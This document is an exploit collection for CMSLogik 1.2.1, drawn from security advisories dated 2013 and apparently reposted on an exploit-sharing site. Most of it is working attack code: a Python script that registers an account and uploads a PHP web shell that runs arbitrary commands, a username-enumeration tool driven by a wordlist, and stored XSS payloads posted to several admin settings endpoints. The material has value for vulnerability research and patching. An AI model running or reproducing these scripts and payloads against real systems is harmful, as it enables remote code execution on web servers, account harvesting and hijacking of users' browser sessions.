CMSLogik 1.2.1 - Multiple Vulnerabilities

/application/controllers/support.php:
# -------------------------
#
# 143: public function upload_file_ajax()
# 144: {
# 145:    $allowedExtensions = array('jpeg', 'jpg', 'gif', 'png', 'html', 'php', 'js', 'doc', 'docx', 'pdf', 'ppt', 'pps', 'pptx', 'ppsx');
# 146:    $sizeLimit = 10 * 1024;
# 147:    $params = array('extensions' => $allowedExtensions, 'size' => $sizeLimit);
# 148:    $this->load->library('qqfileuploader', $params);
# 149:
# 150:    $result = $this->qqfileuploader->handleUpload('./support_files');
# 151:
# 152:    echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
# 153: }
#
# ======================================================================
#
# Tested on: Apache/2.2.22
#            PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2013-5138
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5138.php
#
#
# 05.04.2013
#
 
import json, re, sys
import urllib, urllib2, time
import cookielib, webbrowser
 
if len(sys.argv) < 3:
    print '\n\n\x20-\x20\x20[*] Usage: ' +sys.argv[0]+ ' <target> <path>\n'
    print '\n\x20-\x20\x20[*] Example: ' +sys.argv[0]+ ' example.com cmslogik\n'
    sys.exit(0)
     
host = sys.argv[1]
path = sys.argv[2]
 
def reguser():
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    username = raw_input('[+] Enter username [at least 4 characters]: ')
    chk_usr = urllib.urlencode({'user' : username})
    try:
        xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
        for key, value in xhr.iteritems():
            fnrand = value
            break
        if fnrand == '1':
            print '[!] The user ' +username+ ' is not available.'
            print '[!] Choose a more unique username please.'
            reguser()
    except:
        print '[!] No connection to host'
        sys.exit(0)
    else:
        print '[*] The user \'' +username+ '\' is available.'
        email = raw_input('[+] Choose e-mail [[email protected]]: ')
        password = raw_input('[+] Choose password [at least 6 characters]: ')
        reg_data = urllib.urlencode({'email' : email,
                         'full_name' : 'Patch',
                         'password1' : password,
                         'password2' : password,
                         'r_username' : username,
                         'register' : 'Register!'}
                         )
        auth = opener.open('http://' +host+ '/' +path+ '/register', reg_data)
        match = auth.read()
        if re.search(r"Sorry but that Email is already in use!", match):
            print '[!] The e-mail you have chosen is already taken. Try again.'
            reguser()
        elif re.search(r"You have been registered", match):
            print '[*] OK.'
            loguser()
        else:
            print '[!] Something is fishy.'
            sys.exit(0)
     
def loguser():
    print '\n[*] Login please.'
    username = raw_input('\n[+] Enter your username: ')
    password = raw_input('[+] Enter your password: ')
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'username' : username,
                       'password' : password,
                       'login' : 'Login',
                       'remember_me' : 'remember'}
                       )
    auth = opener.open('http://' +host+ '/' +path+ '/login', login_data)
    match = auth.read()
    if re.search(r"Error!", match):
        print '\n[!] Not logged in! Try again.'
        loguser()
    else:
        print '\n[*] Successfully logged in!'
        print '[*] Uploading malicious php file...'
        time.sleep(3)
        upload_data = '<?php echo \'<pre>\' + system($_GET[\'cmd\']) + \'</pre>\'; ?>'
        xhr2 = json.load(opener.open('http://' +host+ '/' +path+ '//support/upload_file_ajax?qqfile=liwo_sh.php', upload_data))
        for key, value in xhr2.iteritems():
            filename = value
            break
        print '[*] Your shell ID is: ' + filename + '.php'
        time.sleep(2)
        print '[*] Let me open that for ya...'
        time.sleep(2)
        webbrowser.open('http://' +host+ '/' +path+ '/support_files/' +filename+ '.php?cmd=uname -a;id')
        print '\n[*] Zya!'
        sys.exit(0)
 
def menu():
    print """
(((((((((((((((((((((((((((((((((((((((((((((((((((
((                                               ((
((  Hello! CMSLogik Shell Upload 0day        ((
((                                               ((
((  1. Register a new User                   ((
((  2. Login with existing User              ((
((                                               ((
(((((((((((((((((((((((((((((((((((((((((((((((((((
 
    """
    n = raw_input('Enter choice number: ');
    if n=='1':
        print '\n[*] Welcome to User Registration!'
        reguser()
    elif n=='2':
        loguser()
    else:
        print '\n[?] Just 1 or 2 please...'
        menu()
menu()
 
 
###############################################################################
 
 
#!/usr/bin/python
#
# CMSLogik 1.2.1 (user param) User Enumeration Weakness
#
#
# Vendor: ThemeLogik
# Product web page: http://www.themelogik.com/cmslogik
# Affected version: 1.2.1 and 1.2.0
#
# Summary: CMSLogik is built on a solid & lightweight framework
# called CodeIgniter, and design powered by Bootstrap. This
# combination allows for greater security, extensive flexibility,
# and ease of use. You can use CMSLogik for almost any niche that
# your project might fall into.
#
# Desc: The weakness is caused due to the 'unique_username_ajax'
# script enumerating the list of valid usernames when some characters
# are provided via the 'user' parameter.
#
# Tested on: Apache/2.2.22
#            PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2013-5137
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5137.php
#
#
# 05.04.2013
#
 
import argparse, sys, json, urllib, urllib2, cookielib
from colorama import Fore, Back, Style, init
 
init()
 
print '\n-----------------------------------------------'
print 'User Enumeration Tool v0.1 for CMSLogik 1.2.x'
print 'Copyleft (c) 2013, Zero Science Lab'
print 'by lqwrm'
print '-----------------------------------------------\n'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-d', help='target dir', action='store', dest='dir')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')
args = parser.parse_args()
if len(sys.argv) != 7:
    parser.print_help()
    print '\n[*] Example: cmslogik_enum.py -t zeroscience.mk -d cmslogik -f users.txt'
    sys.exit()
host = args.target
path = args.dir
fn = args.file
print '\n'
try:
    users = open(args.file, 'r')
except(IOError):
    print '[!] Error opening \'' +fn+ '\' file.'
    sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
results = open('validusers.txt', 'w')
for line in lines:
    chk_usr = urllib.urlencode({'user' : line})
    try:
        xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
    except:
        print '[!] Error connecting to http://' +host+ '/' +path
        sys.exit()
    print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
    for key, value in xhr.iteritems():
        fnrand = value
        break
    if fnrand == '1':
        print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Style.RESET_ALL+Fore.RESET+ ' as valid registered user.'
        results.write('%s\n' % line)
results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.'
 
 
###############################################################################
 
 
 
CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities
 
 
Vendor: ThemeLogik
Product web page: http://www.themelogik.com/cmslogik
Affected version: 1.2.1 and 1.2.0
 
Summary: CMSLogik is built on a solid & lightweight framework
called CodeIgniter, and design powered by Bootstrap. This
combination allows for greater security, extensive flexibility,
and ease of use. You can use CMSLogik for almost any niche that
your project might fall into.
 
Desc: CMSLogik suffers from multiple stored XSS vulnerabilities
when parsing user input to several parameters via POST method.
Attackers can exploit these weaknesses to execute arbitrary HTML
and script code in a user's browser session.
 
Tested on: Apache/2.2.22
           PHP/5.3.15
 
 
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience
 
 
Advisory ID: ZSL-2013-5136
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5136.php
 
 
05.04.2013
 
--
 
==============================================================================
 
POST http://localhost/cmslogik/admin/settings HTTP/1.1
 
admin_email "onmouseover=prompt("XSS1")>
default_level   2
default_page    1
default_url http://themelogik.com/cmslogik/
email_activate  0
header_title    "onmouseover=prompt("XSS2")>
login   1
registration    1
site_title  "onmouseover=prompt("XSS3")>
update_settings Update Settings
welcome_email   0
 
==============================================================================
 
POST http://localhost/cmslogik/admin/captcha_settings HTTP/1.1
 
captcha_settings    Update
recaptcha_private   "onmouseover=prompt("XSS4")>
recaptcha_public    "onmouseover=prompt("XSS5")>
 
==============================================================================
 
POST http://localhost/cmslogik/admin/social_settings HTTP/1.1
 
fb_appid    "onmouseover=prompt("XSS6")>
fb_secret   "onmouseover=prompt("XSS7")>
social_settings Update
tw_consumer_key "onmouseover=prompt("XSS8")>
tw_consumer_secret  "onmouseover=prompt("XSS9")>
 
==============================================================================
 
POST http://localhost/cmslogik/admin/gallery/save_item_settings HTTP/1.1
 
imgid   76
long    test
short   test
slug    "onmouseover=prompt("XSS10")>
status  live
title   test
 
==============================================================================
 
POST http://localhost/cmslogik/admin/edit_menu_item_ajax HTTP/1.1
 
item_link   "onmouseover=prompt("XSS11")>
item_name   test
item_order  0
mid 9

#  0day.today [2018-03-16]  #